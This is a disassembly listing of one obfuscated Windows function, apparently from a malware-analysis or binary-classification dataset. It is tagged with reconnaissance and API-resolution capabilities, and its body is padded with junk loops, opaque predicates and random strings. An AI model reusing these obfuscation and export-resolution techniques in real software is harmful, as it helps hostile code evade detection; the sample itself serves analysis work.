Function at 0x10025f97
Capabilities:
Get geographical location
Get graphical window text
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100633bf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x5a8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x2b8], 0x2bb1
mov dword [ebp - 0x3fc], str.vvcvmo_uhlzx_ywphrosf_choozbzy_puvdptwtw_rzu_qouk_yrjtiajzr
cmp dword [ebp - 0x2b8], 0x2cea
jle 0x100260cd
and dword [ebp - 0x144], 0
jmp 0x10026007
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x7a67
jge 0x100260cd
and dword [ebp - 0x170], 0
jmp 0x1002602d
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x2b20
jge 0x100260c8
and dword [ebp - 0x178], 0
jmp 0x10026053
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x7979
jge 0x100260c3
and dword [ebp - 0x13c], 0
jmp 0x10026075
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x4cf
jge 0x100260c1
mov eax, dword [ebp - 0x170]
cdq
idiv dword [ebp - 0x178]
mov eax, dword [ebp - 0x144]
sub eax, edx
and eax, dword [ebp - 0x13c]
cdq
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], edx
push dword [ebp - 0x350]
push dword [ebp - 0x354]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x10026068
jmp 0x10026046
jmp 0x10026020
jmp 0x10025ffa
and dword [ebp - 4], 0
cmp dword [ebp - 0x2b8], 0x2aac
jge 0x100260ed
mov edx, dword [ebp - 0x3fc]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x10026109
or dword [ebp - 4], 0xffffffff
jmp 0x10026113
mov dword [ebp - 0xcc], 0
jmp 0x1002612c
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jge 0x10026148
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x2ec], 1
jmp 0x1002611f
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0
jmp 0x1002615f
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x1002617b
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x2ec]
mov ecx, dword [ebp - 0x40]
mov dword [ebp + ecx*4 - 0x2ec], eax
jmp 0x10026158
cmp dword [ebp + 0x10], 0
jbe 0x10026479
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10026479
mov dword [ebp - 0x160], 0
jmp 0x100261aa
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x100261c6
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0xd4], 7
jmp 0x1002619d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd4], 0xffffffe8
jmp 0x100261f4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 0x19
jne 0x10026465
mov dword [ebp - 0x2f4], 0x5d3f
mov dword [ebp - 0x40c], str.zatwwmef_utywuzqb_ezfgci_fdo_uxbqdezj_rejihr_webui_uoboyrqrq_nvqnu_cxpeeyrfv_tbtijuy_mnwoespfc_mozef
cmp dword [ebp - 0x2f4], 0x6011
jle 0x1002631a
and dword [ebp - 0x164], 0
jmp 0x10026242
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x4e9b
jge 0x10026301
and dword [ebp - 0x168], 0
jmp 0x10026268
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x637d
jge 0x100262fc
and dword [ebp - 0xdc], 0
jmp 0x1002628e
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x70c
jge 0x100262f7
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0xdc]
xor eax, dword [ebp - 0x164]
cdq
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x358], edx
push dword [ebp - 0x358]
push dword [ebp - 0x35c]
lea ecx, [ebp - 0x5b8]
call fcn.10001351
pop ecx
pop ecx
mov dword [ebp - 0x3ec], eax
mov ecx, dword [ebp - 0x3ec]
call fcn.1000163c
push eax
call fcn.10049280
pop ecx
lea ecx, [ebp - 0x5b8]
call fcn.10001632
jmp 0x10026281
jmp 0x1002625b
jmp 0x10026235
push 0x1510
push 0x2088
push 0
push 0x7ec
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0x3f4], 0x26a1
cmp dword [ebp - 0x3f4], 0x45a
jge 0x100263fe
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x18c]
push eax
mov ecx, 0x1007f330
call fcn.1000afe0
mov ecx, eax
call fcn.1000afe0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x34c], 0
je 0x100263e3
and dword [ebp - 0x1a0], 0
jmp 0x1002638b
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x404]
jge 0x100263de
lea edx, [ebp - 0x15]
mov ecx, 0x1007f330
call fcn.1002beba
movsx eax, byte [ebp - 0x15]
cmp eax, 0x43
je 0x100263c1
movsx eax, byte [ebp - 0x15]
cmp eax, 0x4d
je 0x100263c1
movsx eax, byte [ebp - 0x15]
cmp eax, 0x59
jne 0x100263dc
push fcn.1000f009
mov edx, str.Color
mov ecx, 0x1007f278
call fcn.1000ee32
mov ecx, eax
call fcn.1000b18a
jmp 0x1002637e
jmp 0x10026353
push fcn.1000f009
mov edx, str.BlackWhite
mov ecx, 0x1007f278
call fcn.1000ee32
mov ecx, eax
call fcn.1000b18a
mov byte [ebp - 0x57], 0
mov dword [ebp - 4], 2
cmp dword [ebp - 0x2f4], 0x5c48
jge 0x10026421
push dword [ebp - 0x40c]
call fcn.10049280
pop ecx
jmp 0x1002643d
or dword [ebp - 4], 0xffffffff
jmp 0x10026447
movzx eax, byte [ebp - 0x57]
test eax, eax
je 0x10026460
push 0x3d7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x100261d9
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.100205c3
pop ecx
pop ecx
jmp 0x10028bb1
mov dword [ebp - 0x214], 0x4fe
mov dword [ebp - 0x3d0], str.jrsdou_brdrien_keakvrdyg_dmrzktnm_rkfi_cvqha_jokl_sbnekjjnr_hom_qjifmjy_qzkgdqmiq
cmp dword [ebp - 0x214], 0x5b7
jle 0x1002653d
and dword [ebp - 0xe4], 0
jmp 0x100264b3
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x258e
jge 0x1002653d
and dword [ebp - 0x14c], 0
jmp 0x100264d5
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x5127
jge 0x10026538
mov eax, dword [ebp - 0xe4]
or eax, dword [ebp - 0x14c]
cdq
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], edx
push dword [ebp - 0x364]
push dword [ebp - 0x368]
lea ecx, [ebp - 0x588]
call fcn.10001351
pop ecx
pop ecx
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x414]
call fcn.1000163c
push eax
call fcn.10049280
pop ecx
lea ecx, [ebp - 0x588]
call fcn.10001632
jmp 0x100264c8
jmp 0x100264a6
cmp dword [ebp + 0x10], 0
jne 0x10027bc5
mov dword [ebp - 0x14], 0
push 3
lea ecx, [ebp - 0x188]
call fcn.10001647
mov dword [ebp - 4], 4
mov dword [ebp - 0x1b0], 0x4628
mov dword [ebp - 0x84], 0xffffffff
mov dword [ebp - 0xec], 0
jmp 0x1002658f
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 3
jge 0x100265b1
push dword [ebp - 0xec]
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov dword [eax], 0x300a9e1a
jmp 0x10026582
mov dword [ebp - 0x14], 0
jmp 0x100265c1
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffea
jne 0x100267d2
mov dword [ebp - 0xc0], 0x1d976ff5
mov dword [ebp - 0x428], 1
mov dword [ebp - 0xc0], 0
jmp 0x100265f8
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jge 0x100267cd
push 3
lea ecx, [ebp - 0x30c]
call fcn.10001647
mov byte [ebp - 4], 5
mov dword [ebp - 0xf4], 0
jmp 0x1002662f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jge 0x10026651
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x30c]
call fcn.100016c0
mov dword [eax], 0x67e307b5
jmp 0x10026622
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
and dword [eax], 0
jmp 0x10026687
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2fc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
cmp dword [eax], 0
jle 0x100267b9
mov dword [ebp - 0x1a8], 9
mov dword [ebp - 0x440], 0x4b3f4b14
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
cmp dword [eax], 0
je 0x100266d9
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1a8]
inc ecx
mov dword [ebp - 0x1a8], ecx
xor eax, eax
inc eax
sub eax, dword [ebp - 0x440]
jne 0x100266ff
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
cmp dword [eax], 0
jne 0x100266ff
and dword [ebp - 0x32c], 0
jmp 0x10026709
mov dword [ebp - 0x32c], 1
mov eax, 0x9ab5
sub eax, dword [ebp - 0x32c]
cmp eax, 0xfffffffc
jne 0x10026729
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x10026729
and dword [ebp - 0x278], 0
jmp 0x10026733
mov dword [ebp - 0x278], 1
cmp dword [ebp - 0x278], 1
jne 0x10026748
mov dword [ebp - 0x420], 1
jmp 0x1002674f
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x4a8], eax
push 0
lea ecx, [ebp - 0x30c]
call fcn.100016c0
cmp dword [eax], 1
jl 0x10026779
mov dword [ebp - 0x2e4], 1
jmp 0x10026780
and dword [ebp - 0x2e4], 0
cmp dword [ebp - 0x2e4], 0x5a8b
jle 0x10026798
mov dword [ebp - 0x1d0], 1
jmp 0x1002679f
and dword [ebp - 0x1d0], 0
push 0
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x1d0]
mov dword [eax], ecx
jmp 0x10026663
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x30c]
call fcn.100016a4
jmp 0x100265eb
jmp 0x100265ba
mov dword [ebp - 0x14], 2
jmp 0x100267e2
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x10026c59
push 1
lea ecx, [ebp - 0x31c]
call fcn.10001647
mov byte [ebp - 4], 6
push 3
lea ecx, [ebp - 0x460]
call fcn.10001647
mov byte [ebp - 4], 7
mov dword [ebp - 0x1c], 0
jmp 0x1002681e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1002683a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x31c]
call fcn.100016c0
mov dword [eax], 0xa5d8d341
jmp 0x10026817
mov dword [ebp - 0x1c], 0
jmp 0x1002684a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10026866
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x460]
call fcn.100016c0
mov dword [eax], 0x4a2b
jmp 0x10026843
mov dword [ebp - 0x1c], 0
jmp 0x10026876
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002688c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x49c], 0x717e5ed5
jmp 0x1002686f
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
mov dword [eax], 2
jmp 0x100268c5
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2d0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
cmp dword [eax], 0
jl 0x10026bde
mov dword [ebp - 0x200], 0xfffffff6
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
cmp dword [eax], 0
jne 0x10026b56
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
cmp dword [eax], 0
jne 0x10026929
push dword [ebp - 0x14]
lea ecx, [ebp - 0x188]
call fcn.100016c0
cmp dword [eax], 0
jne 0x10026929
and dword [ebp - 0x1d8], 0
jmp 0x10026933
mov dword [ebp - 0x1d8], 1
push 2
lea ecx, [ebp - 0x460]
call fcn.100016c0
mov esi, eax
push 2
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov eax, dword [eax]
add eax, dword [esi]
cmp dword [ebp - 0x1d8], eax
jg 0x10026967
mov dword [ebp - 0x280], 1
jmp 0x1002696e
and dword [ebp - 0x280], 0
push 0
lea ecx, [ebp - 0x31c]
call fcn.100016c0
push dword [eax]
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x280]
cmp ecx, dword [eax]
jne 0x1002699e
mov dword [ebp - 0x1e0], 1
jmp 0x100269a5
and dword [ebp - 0x1e0], 0
push 1
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x1e0]
cmp ecx, dword [eax]
jne 0x100269c8
mov dword [ebp - 0x320], 1
jmp 0x100269cf
and dword [ebp - 0x320], 0
cmp dword [ebp - 0x320], 0x11c1b015
jne 0x100269fa
push dword [ebp - 0x14]
lea ecx, [ebp - 0x188]
call fcn.100016c0
cmp dword [eax], 0
je 0x100269fa
mov dword [ebp - 0x1e8], 1
jmp 0x10026a01
and dword [ebp - 0x1e8], 0
mov esi, dword [ebp - 0x1e8]
sub esi, dword [ebp - 0x14]
push 0
lea ecx, [ebp - 0x188]
call fcn.100016c0
cmp esi, dword [eax]
jne 0x10026a27
mov dword [ebp - 0x288], 1
jmp 0x10026a2e
and dword [ebp - 0x288], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x288]
cmp ecx, dword [eax]
jge 0x10026a5b
cmp dword [ebp - 0x84], 0
je 0x10026a5b
mov dword [ebp - 0x1f0], 1
jmp 0x10026a62
and dword [ebp - 0x1f0], 0
push 0
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x1f0]
cmp ecx, dword [eax]
jl 0x10026a85
mov dword [ebp - 0x2d8], 1
jmp 0x10026a8c
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x418]
cmp eax, dword [ebp - 0x360]
jg 0x10026acb
mov dword [ebp - 0x1f8], 1
jmp 0x10026ad2
and dword [ebp - 0x1f8], 0
cmp dword [ebp - 0x1f8], 0xfffffffc
jl 0x10026ae7
mov dword [ebp - 0x290], 1
jmp 0x10026aee
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0xfffffffc
jg 0x10026b0f
mov dword [ebp - 0x300], 1
jmp 0x10026b16
and dword [ebp - 0x300], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov ecx, dword [ebp - 0x300]
cmp ecx, dword [eax]
jl 0x10026b3a
mov dword [ebp - 0x208], 1
jmp 0x10026b41
and dword [ebp - 0x208], 0
cmp dword [ebp - 0x208], 1
je 0x10026b56
mov dword [ebp - 0x298], 1
jmp 0x10026b5d
and dword [ebp - 0x298], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov eax, dword [eax]
cmp eax, dword [ebp - 0x298]
jg 0x10026b81
mov dword [ebp - 0x210], 1
jmp 0x10026b88
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x210], eax
jl 0x10026b9f
mov dword [ebp - 0x2e0], 1
jmp 0x10026ba6
and dword [ebp - 0x2e0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2e0]
mov dword [ebp + eax - 0x49c], ecx
push 0
lea ecx, [ebp - 0x188]
call fcn.100016c0
mov esi, eax
push 2
lea ecx, [ebp - 0x460]
call fcn.100016c0
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x100268a1
mov dword [ebp - 0x84], 0
jmp 0x10026bf7
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jg 0x10026c36
mov byte [ebp - 0x53], 0
movzx eax, byte [ebp - 0x53]
test eax, eax
je 0x10026c22
push 0
push 0
push 0xe2d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov byte [ebp - 0x5e], 0
movzx eax, byte [ebp - 0x5e]
test eax, eax
je 0x10026c34
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
jmp 0x10026bea
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x460]
call fcn.100016a4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x31c]
call fcn.100016a4
jmp 0x100267db
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.100016a4
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.100175db
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x44], 0xac204e2d
mov dword [ebp - 0x1ac], 0xb0b56cef
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x2f0], 0x462a77b6
mov dword [ebp - 0x218], 0x7ff9
mov dword [ebp - 0x3f0], str.nhilo_yaoqzsec_jgcztshg_pbteopmgz_sedbhyoi_hqhy_cflyavd_ugyxwjl
cmp dword [ebp - 0x218], 0x813a
jle 0x10026d37
and dword [ebp - 0x174], 0
jmp 0x10026cd4
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x303c
jge 0x10026d37
and dword [ebp - 0xfc], 0
jmp 0x10026cf6
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x7b13
jge 0x10026d35
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0xfc]
sar eax, cl
cdq
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x370], edx
push dword [ebp - 0x370]
push dword [ebp - 0x374]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x10026ce9
jmp 0x10026cc7
mov dword [ebp - 0x4b8], 0xc79a46bb
mov dword [ebp - 4], 8
cmp dword [ebp - 0x218], 0x7d34
jge 0x10026d64
mov edx, dword [ebp - 0x3f0]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x10026d80
or dword [ebp - 4], 0xffffffff
jmp 0x10026d8a
mov dword [ebp - 0x19c], 2
mov dword [ebp - 0x41c], 0xdcec
mov dword [ebp - 0x154], 0
jmp 0x10026db7
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x10026dd3
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x474], 4
jmp 0x10026daa
mov byte [ebp - 0x5f], 0
movzx eax, byte [ebp - 0x5f]
test eax, eax
je 0x10026de7
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov dword [ebp - 0x44], 0xb
jmp 0x10026df7
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffea
jge 0x10027233
mov dword [ebp - 0x490], 0x17ca0029
mov dword [ebp - 0x48c], 0x17ca0029
mov dword [ebp - 0x488], 0x17ca0029
mov dword [ebp - 0x484], 0x17ca0029
lea ecx, [ebp - 0x195]
call fcn.10001820
push eax
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x528]
call fcn.1000b4e6
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x348]
call fcn.1000b4c0
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x104], 0
jmp 0x10026e7e
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 4
jge 0x10026e9a
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x33c], 1
jmp 0x10026e71
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x33c], 3
jmp 0x10026ec8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x33c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x33c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x33c], 0
jl 0x100270af
mov dword [ebp - 0x36c], 0xfffffff6
mov dword [ebp - 0x2a8], 0x80ae7b1b
mov dword [ebp - 0x36c], 4
mov eax, 0x5fa
cmp eax, 0x3c57
jle 0x10026f12
mov dword [ebp - 0x2a0], 1
jmp 0x10026f19
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x2a0]
jne 0x10026f30
mov dword [ebp - 0x220], 1
jmp 0x10026f37
and dword [ebp - 0x220], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x33c]
lea ecx, [ebp - 0x348]
call fcn.100016c0
mov ecx, dword [ebp - 0x220]
cmp ecx, dword [eax]
jle 0x10026f65
mov dword [ebp - 0x324], 1
jmp 0x10026f6c
and dword [ebp - 0x324], 0
cmp dword [ebp - 0x324], 0xa6d
jl 0x10026f84
mov dword [ebp - 0x228], 1
jmp 0x10026f8b
and dword [ebp - 0x228], 0
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
cmp eax, dword [ebp - 0x44]
jne 0x10026fae
mov dword [ebp - 0x194], 1
jmp 0x10026fb5
and dword [ebp - 0x194], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x194]
mov dword [ebp + eax - 0x474], ecx
cmp dword [ebp - 0x194], 0
jne 0x10026fe0
cmp dword [ebp - 0x44], 0
jne 0x10026fe0
and dword [ebp - 0x230], 0
jmp 0x10026fea
mov dword [ebp - 0x230], 1
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
je 0x10027012
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x10027012
mov dword [ebp - 0x2e8], 1
jmp 0x10027019
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jae 0x1002703a
mov dword [ebp - 0x238], 1
jmp 0x10027041
and dword [ebp - 0x238], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x33c]
lea ecx, [ebp - 0x348]
call fcn.100016c0
mov esi, dword [eax]
sub esi, dword [ebp - 0x238]
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x33c]
lea ecx, [ebp - 0x348]
call fcn.100016c0
mov eax, dword [eax]
sub eax, esi
neg eax
add eax, 0x4a30f524
cmp eax, 0x94d0
jl 0x10027097
mov dword [ebp - 0x2b0], 1
jmp 0x1002709e
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x2f0], eax
jmp 0x10026ead
push 1
lea ecx, [ebp - 0x348]
call fcn.100016c0
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0x19c]
jg 0x1002719f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x33c]
cmp eax, dword [ebp - 0x1ac]
jle 0x1002710b
push 0
lea ecx, [ebp - 0x348]
call fcn.100016c0
cmp dword [eax], 0
jne 0x1002710b
and dword [ebp - 0x240], 0
jmp 0x10027115
mov dword [ebp - 0x240], 1
cmp dword [ebp - 0x240], 0xfff9
jae 0x1002712d
mov dword [ebp - 0x310], 1
jmp 0x10027134
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x41c]
cmp dword [ebp - 0x310], eax
jle 0x1002714e
mov dword [ebp - 0x248], 1
jmp 0x10027155
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 0x248]
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c4], eax
push 2
lea ecx, [ebp - 0x348]
call fcn.100016c0
mov ecx, dword [ebp - 0x1c4]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x474]
imul eax, dword [ebp - 0x1c4]
dec eax
cmp eax, 0x3a8a1d58
jg 0x1002719f
and dword [ebp - 0x250], 0
jmp 0x100271a9
mov dword [ebp - 0x250], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x33c]
imul eax, dword [ebp - 0x250]
imul eax, eax, 0x64b5
imul eax, eax, 0xec51
cmp eax, dword [ebp - 0x2f0]
jl 0x100271dd
mov dword [ebp - 0x258], 1
jmp 0x100271e4
and dword [ebp - 0x258], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x33c]
cmp dword [ebp - 0x258], eax
jge 0x10027205
mov dword [ebp - 0x2c0], 1
jmp 0x1002720c
and dword [ebp - 0x2c0], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp + eax - 0x33c], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x348]
call fcn.100016a4
jmp 0x10026df0
mov dword [ebp - 0x24], 0x5872d9ee
mov dword [ebp - 0x3f8], 0x4ea14c55
mov dword [ebp - 0x270], 5
mov dword [ebp - 0x384], 0xd64bda99
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x10027273
push 0
push 0x1786
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x24], 0
jne 0x10027291
cmp dword [ebp - 0x24], 0
jne 0x10027291
and dword [ebp - 0x260], 0
jmp 0x1002729b
mov dword [ebp - 0x260], 1
cmp dword [ebp - 0x260], 0x289f
jle 0x100272b0
xor eax, eax
inc eax
jne 0x100272b0
cmp dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
add ecx, eax
jne 0x100272c9
mov dword [ebp - 0x328], 1
jmp 0x100272d0
and dword [ebp - 0x328], 0
cmp dword [ebp - 0x328], 0x23b4709b
jl 0x100272e8
mov dword [ebp - 0x268], 1
jmp 0x100272ef
and dword [ebp - 0x268], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x268]
je 0x10027306
mov dword [ebp - 0x378], 1
jmp 0x1002730d
and dword [ebp - 0x378], 0
xor eax, eax
jne 0x10027320
cmp dword [ebp - 0x24], 0
jne 0x10027320
and dword [ebp - 0x2c8], 0
jmp 0x1002732a
mov dword [ebp - 0x2c8], 1
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
imul eax, dword [ebp - 0x270], 0
cmp eax, dword [ebp - 0x24]
jl 0x10027357
mov dword [ebp - 0x2f8], 1
jmp 0x1002735e
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x2f8], eax
jl 0x10027375
mov dword [ebp - 0x1c8], 1
jmp 0x1002737c
